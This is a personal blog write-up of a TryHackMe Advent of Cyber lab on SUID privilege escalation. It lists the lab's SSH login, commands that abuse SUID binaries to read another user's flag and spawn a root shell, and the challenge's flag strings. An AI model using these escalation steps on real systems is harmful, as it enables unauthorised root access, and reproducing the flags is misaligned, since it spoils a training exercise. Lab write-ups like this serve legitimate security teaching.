Navigate back to the homepage

Advent of Cyber Day 8 SUID Shenanigans

Ludovic COULON
May 8th, 2020 · 1 min read

TryHackMe | Advent of Cyber

Elf Holly is suspicious of Elf-ministrator and wants to get onto the root account of a server he setup to see what files are on his account. The problem is, Holly is a low-privileged user.. can you escalate her privileges and hack your way into the root account?

Deploy and SSH into the machine.

Username: holly

Password: tuD@4vt0G*TU

SSH is not running on the standard port.. You might need to nmap scan the machine to find which port SSH is running on.nmap <machine_ip> -p <start_port>-<end_port>

Read the supporting materials here.

#1 What port is SSH running on?

165534

#2 Find and run a file as igor. Read the file /home/igor/flag1.txt

1find /home/igor/flag1.txt -exec cat /home/igor/flag1.txt \;
2"THM{d3f0708bdd9accda7f937d013eaf2cd8}"

#3 Find another binary file that has the SUID bit set. Using this file, can you become the root user and read the /root/flag2.txt file?

1find / -user root -perm -4000 -exec ls -ldb {} \; 2>>/dev/null | grep "/bin"
2$> system-control
3
4===== System Control Binary =====
5
6Enter system command: "/bin/bash"
7root@ip-10-10-63-205:~ cat /root/flag2.txt
8"THM{8c8211826239d849fa8d6df03749c3a2}"

#4 If you’ve finished the challenge and want more practise, checkout the Privilege Escalation Playground room created by SherlockSec: https://tryhackme.com/room/privescplayground

1No questions

More articles from Ludovic COULON

Mr Robot CTF

Mr Robot CTF writeup

May 10th, 2020 · 1 min read

Advent of Cyber Challenge - TryHackMe

Advent of Cyber Challenge all the challengs solved write up

May 8th, 2020 · 1 min read
© 2020 Ludovic COULON
Link to $https://github.com/LasCCLink to $https://www.linkedin.com/in/ludovic-coulon-b361ba183/Link to $https://www.youtube.com/channel/UCkDvlI9LUuwZ4GKFUbP_OvgLink to $mailto:coulonludovicc@gmail.com
063664e4.js" async="">